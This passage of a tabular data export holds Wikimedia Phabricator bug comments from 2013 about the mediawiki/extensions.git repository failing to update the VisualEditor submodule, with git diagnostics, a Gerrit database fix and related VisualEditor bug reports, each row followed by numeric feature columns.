+To restore automatic update, we would need to register the extensions locally by iterating over `gerrit ls-projects -p mediawiki/extensions/` and then use git `submodule update --init` as we did previously.",,,1389652459,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254220,mediawiki/extensions.git does not update some extensions,Re-opening rather than having a fork in bug 59758.,,,1389149782,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,27,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+254213,mediawiki/extensions.git does not update some extensions,*** Bug 59758 has been marked as a duplicate of this bug. ***,,,1389149751,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,27,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254206,mediawiki/extensions.git does not update some extensions,"happened again, see bug 59758",,,1389084905,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,27,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+254198,mediawiki/extensions.git does not update some extensions,"(In reply to comment #21)
+> Does anybody plan to investigate on this ticket? 
+> Or is this ""working for us"" right now? 
+> 
+> Wondering if this should still be open, and what's the way forward.
+
+The problem was that there was more than one git repos on gerrit called ""VisualEditor"" (namely, mediawiki/extensions/VisualEditor.git and VisualEditor.git with its subsidiaries VisualEditor/core.git, VisualEditor/plugins/<foo>.git etc.). We created the other repos to move the code out of MW and make VE properly stand-alone and shippable, but thought we have split the code, we hadn't yet moved the core of VE into the new repo).
+
+As a quick hack, Chad deleted the extra repos, which seems to have fixed everything, which means the issue is fixed (and has a known cause), but this isn't sustainable in the longer term as we will likely want to actually do the repo split some time soon (though we could work around the restriction on repo names)…
+
+Marking as ""FIXED"", but it's more like ""AVOIDED AT SOME COST"".",,,1378225794,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,9,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+254190,mediawiki/extensions.git does not update some extensions,"Does anybody plan to investigate on this ticket? 
+Or is this ""working for us"" right now? 
+
+Wondering if this should still be open, and what's the way forward.",,,1378204152,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,9,,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0
+254185,mediawiki/extensions.git does not update some extensions,VisualEditor is finally working. I hope. I pray.,,,1376592201,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254180,mediawiki/extensions.git does not update some extensions,I'm beginning to think this thing is totally broken and a waste of time to use.,,,1374253962,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,2,,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+254175,mediawiki/extensions.git does not update some extensions,"Sorry DataTypes was dirty in my local copy. That caused git to not update the remaining extensions.  It chokes currently on:
+
+
+Cloning into 'ValueFormatters'...
+remote: Counting objects: 4, done
+remote: Finding sources: 100% (4/4)
+remote: Getting sizes: 100% (3/3)
+remote: Total 4 (delta 0), reused 4 (delta 0)
+Unpacking objects: 100% (4/4), done.
+Submodule path 'ValueFormatters': checked out 'b466dde64555d82fcefcdd0b1fe838de2e3acada'
+fatal: Needed a single revision
+Unable to find current revision in submodule path 'ValueParsers'",,,1374232184,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+254168,mediawiki/extensions.git does not update some extensions,"It is apparently totally broken right now. The check-sync.sh script reports a lot of extensions has not being up to date :/
+
+
+ERROR! DataTypes is lagging behind.
+ERROR! DataValues is lagging behind.
+ERROR! DidYouKnow is lagging behind.
+ERROR! Diff is lagging behind.
+ERROR! DisableAccount is lagging behind.
+ERROR! Disambiguator is lagging behind.
+ERROR! DonationInterface is lagging behind.
+ERROR! Duplicator is lagging behind.
+ERROR! EImage is lagging behind.
+ERROR! Echo is lagging behind.
+ERROR! EducationProgram is lagging behind.
+ERROR! EventLogging is lagging behind.
+ERROR! ExtensionDistributor is lagging behind.
+ERROR! GettingStarted is lagging behind.
+ERROR! GlobalBlocking is lagging behind.
+ERROR! GuidedTour is lagging behind.
+ERROR! Hovergallery is lagging behind.
+ERROR! InlineCategorizer is lagging behind.
+ERROR! Insider is lagging behind.
+ERROR! LiquidThreads is lagging behind.
+ERROR! Maps is lagging behind.
+ERROR! MarkAsHelpful is lagging behind.
+ERROR! Math is lagging behind.
+ERROR! MobileFrontend is lagging behind.
+ERROR! MoodBar is lagging behind.
+ERROR! Mpdf is lagging behind.
+ERROR! OAuth is lagging behind.
+ERROR! Parsoid is lagging behind.
+ERROR! PdfExport is lagging behind.
+ERROR! PdfHandler is lagging behind.
+ERROR! PerPageLicense is lagging behind.
+ERROR! PronunciationRecording is lagging behind.
+ERROR! RelatedArticles is lagging behind.
+ERROR! RevisionCommentSupplement is lagging behind.
+ERROR! SecurePoll is lagging behind.
+ERROR! SemanticMediaWiki is lagging behind.
+ERROR! Thanks is lagging behind.
+ERROR! TimedMediaHandler is lagging behind.
+ERROR! Translate is lagging behind.
+ERROR! TwnMainPage is lagging behind.
+ERROR! UniversalLanguageSelector is lagging behind.
+ERROR! UploadWizard is lagging behind.
+ERROR! ValueFormatters is lagging behind.
+ERROR! ValueParsers is lagging behind.
+ERROR! ValueValidators is lagging behind.
+ERROR! ValueView is lagging behind.
+ERROR! Vector is lagging behind.
+ERROR! WikiEditor is lagging behind.
+ERROR! Wikibase is lagging behind.
+ERROR! WikibaseDataModel is lagging behind.
+ERROR! WikibaseDatabase is lagging behind.
+ERROR! WikibaseQuery is lagging behind.
+ERROR! WikibaseQueryEngine is lagging behind.
+ERROR! WikimediaMaintenance is lagging behind.
+ERROR! WikimediaMessages is lagging behind.
+ERROR! ZeroRatedMobileAccess is lagging behind.",,,1374228032,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254164,mediawiki/extensions.git does not update some extensions,*** Bug 51635 has been marked as a duplicate of this bug. ***,,,1374228000,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254157,mediawiki/extensions.git does not update some extensions,*** Bug 48893 has been marked as a duplicate of this bug. ***,,,1374227951,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254150,mediawiki/extensions.git does not update some extensions,"Change 73736 merged by Hashar:
+update VisualEditor to latest master
+
+https://gerrit.wikimedia.org/r/73736",,,1373881472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+254142,mediawiki/extensions.git does not update some extensions,"Change 73736 had a related patch set uploaded by Hashar:
+update VisualEditor to latest master
+
+https://gerrit.wikimedia.org/r/73736",,,1373881426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+254134,mediawiki/extensions.git does not update some extensions,I hate life.,,,1373521899,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+254130,mediawiki/extensions.git does not update some extensions,"Got broken again a couple hours ago:
+
+*   ac6c10d - (origin/master, origin/HEAD) Merge ""Bind listener to key...
+|\  
+| * 31104d5 - Bind listener to keyup to capture arrows & better ma...
+* |   877463e - (HEAD) Merge ""Add hooks and classes, initially to s...
+
+which shows HEAD not pointing to the same commit as origin/HEAD :(",,,1373491637,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0
+254126,mediawiki/extensions.git does not update some extensions,"Worked around (decreasing priority), but keeping this open as it might bite us again (as bug 49906 is still open).",,,1372775601,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0
+254122,mediawiki/extensions.git does not update some extensions,"I fixed it before.
+
+Now I've fixed it once again.
+
+This is annoying.",,,1372695781,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+254119,mediawiki/extensions.git does not update some extensions,"Setting Importance etc since today is ""D Day"" for Visual Editor on ENWiki. Would be great to have betalabs running up to date VE on the day we roll out to a large audience :)",,,1372694917,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+254117,mediawiki/extensions.git does not update some extensions,"VisualEditor is lagged out again:
+
+$ cd extensions
+$ git remote update
+$ git rebase
+$ git submodule update --init VisualEditor
+Submodule path 'VisualEditor': checked out '46c3d48ba7779254581bfad017c0804588a1983d'
+$
+
+Then looking at HEAD (that is the checked out version above) and origin/master:
+
+$ git log --oneline HEAD..origin/master
+c331c19 Merge ""Minor performance optimization and cleanup in FocusableNode""
+daa83d2 Minor performance optimization and cleanup in FocusableNode
+a08da9f Make node resizing happen inside onAttributeChange
+f8d7314 Merge ""Simplify ve.ce.ResizableNode by removing code for 'transition' which is not used anyway""
+87667bd Merge ""Make toolbar look correct with non-standard browser font size settings""
+b0b832a Make toolbar look correct with non-standard browser font size settings
+59e7a7b Simplify ve.ce.ResizableNode by removing code for 'transition' which is not used anyway
+$
+
+
+
+$ git rev-parse origin/master
+c331c1980ec37a4d6926f138fd1e81879d5db299
+$ git rev-parse HEAD
+46c3d48ba7779254581bfad017c0804588a1983d
+$",,,1372669990,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+254111,mediawiki/extensions.git does not update some extensions,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version
+
+VisualEditor (Version 0.1.0)	(4b74101)
+19:00, 20 June 2013
+
+:-)",,,1371759767,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+254105,mediawiki/extensions.git does not update some extensions,"I have no idea what went wrong :/
+
+Filled bug 49906 to monitor such issues.
+
+Thank you Chad!",,,1371759694,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+254096,mediawiki/extensions.git does not update some extensions,"Fixed.
+
+gerrit> select * from submodule_subscriptions where submodule_project_name like '%VisualEditor%';
+ submodule_project_name | submodule_branch_name | super_project_project_name | super_project_branch_name | submodule_path
+ -----------------------+-----------------------+----------------------------+---------------------------+---------------
+ VisualEditor           | refs/heads/master     | mediawiki/extensions       | refs/heads/master         | VisualEditor
+(1 row; 2 ms)
+
+gerrit> update submodule_subscriptions set submodule_project_name = 'mediawiki/extensions/VisualEditor' where submodule_path = 'VisualEditor';
+UPDATE 1; 2 ms
+
+gerrit> select * from submodule_subscriptions where submodule_project_name like '%VisualEditor%';
+ submodule_project_name            | submodule_branch_name | super_project_project_name | super_project_branch_name | submodule_path
+ ----------------------------------+-----------------------+----------------------------+---------------------------+---------------
+ mediawiki/extensions/VisualEditor | refs/heads/master     | mediawiki/extensions       | refs/heads/master         | VisualEditor
+(1 row; 1 ms)
+
+Was the extension at one point pointing to the wrong repository? Will file a bug upstream, since I guess this should've updated itself when the submodule changed.",,,1371759443,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+254090,mediawiki/extensions.git does not update some extensions,Actually moving this bug under 'git/gerrit'.,,,1371754174,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0
+254084,mediawiki/extensions.git does not update some extensions,"On beta, origin/master points to 5add8cc4c0ea5b305525c30d8af5261406e5d355 which mean VisualEditor remote is not being fetched when running 'git pull && git submodule update --init'.",,,1371722282,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+254076,mediawiki/extensions.git does not update some extensions,"The mediawiki/extensions.git is not updating VisualEditor extension:
+
+
+$ git submodule update --init VisualEditor
+remote: Counting objects: 3887, done
+remote: Finding sources: 100% (5930/5930)
+remote: Getting sizes: 100% (1370/1370)
+remote: Compressing objects:  21% (288/1370)
+remote: Total 5930 (delta 3846), reused 5495 (delta 3829)
+Receiving objects: 100% (5930/5930), 2.95 MiB | 622 KiB/s, done.
+Resolving deltas: 100% (4091/4091), completed with 275 local objects.
+From https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor
+   65602e1..ed1c06e  master     -> origin/master
+Submodule path 'VisualEditor': checked out '5add8cc4c0ea5b305525c30d8af5261406e5d355'
+
+
+$ cd VisualEditor
+$ git rev-parse HEAD origin/master
+5add8cc4c0ea5b305525c30d8af5261406e5d355
+ed1c06ee6b36851ba1f6e3a68d0584da4c20be46
+
+HEAD should points to the same as origin/master.
+
+
+Parsoid is updated though:
+
+$ git rev-parse HEAD origin/master
+bf8d3dff339e5b3e10f0667850d0114f49db131c
+bf8d3dff339e5b3e10f0667850d0114f49db131c
+
+
+Moving the bug under Wikimedia > Git/Gerrit . Will poke Chad / Sam about it.",,,1371721861,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+51828,VisualEditor: Parsoid ate a reference,"In this edit: https://fr.wikipedia.org/w/index.php?diff=94100781 VisualEditor seems to have emptied a reference (the one containing ""Maxime Pargaud"" as author of the cited reference).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1371656400,1371782480.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-j6slyvhfp3d6ozltvruk,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+253136,VisualEditor: Parsoid ate a reference,This is now fixed (Parsoid selser issue); sorry!,,,1371782480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j6slyvhfp3d6ozltvruk,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253130,VisualEditor: Parsoid ate a reference,"VisualEditor kissed a girl and liked it. Oh boy, do our products grow up fast.
+
+Oh wait, it ate a reference? Bad bad editor. Discipline... Slacker!",,,1371779509,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-j6slyvhfp3d6ozltvruk,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0
+51763,VisualEditor: Image insertion does not work,"See https://en.wikipedia.org/wiki/User:Mdennis_%28WMF%29/sandbox for the result of four different attempts to insert images. Each one resulted in something like https://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=560491469&oldid=560491343
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1371582180,1371782583.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ivktalncu225io76zzys,task_description,resolved,True,c1,2,False,False,True,-2,,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248995,VisualEditor: Image insertion does not work,Fixed. Sorry about this.,,,1371782583,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ivktalncu225io76zzys,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+51737,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"https://en.wikipedia.org/w/index.php?title=McIntosh_%28apple%29&diff=560394609&oldid=560264020
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1371542880,1372027620.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-vm7v6vojqzplbnspgwqk,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+247487,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"I'm going to speculatively mark this as fixed; we haven't seen any further issues with this and there's no steps to repeat - even when we undertake edit conflicts it still doesn't occur.
+
+Please re-open if you find that it does recur - and if so, any information about how to get it to trigger would be great, of course.",,,1372027620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vm7v6vojqzplbnspgwqk,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+247481,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"(In reply to comment #1)
+> https://en.wikipedia.org/wiki/Wikipedia:
+> Village_pump_(technical)#VisualEditor_-_A.2FB_test_launch_on_18_June
+> 
+> indicates that this might be caused by edit conflicts
+
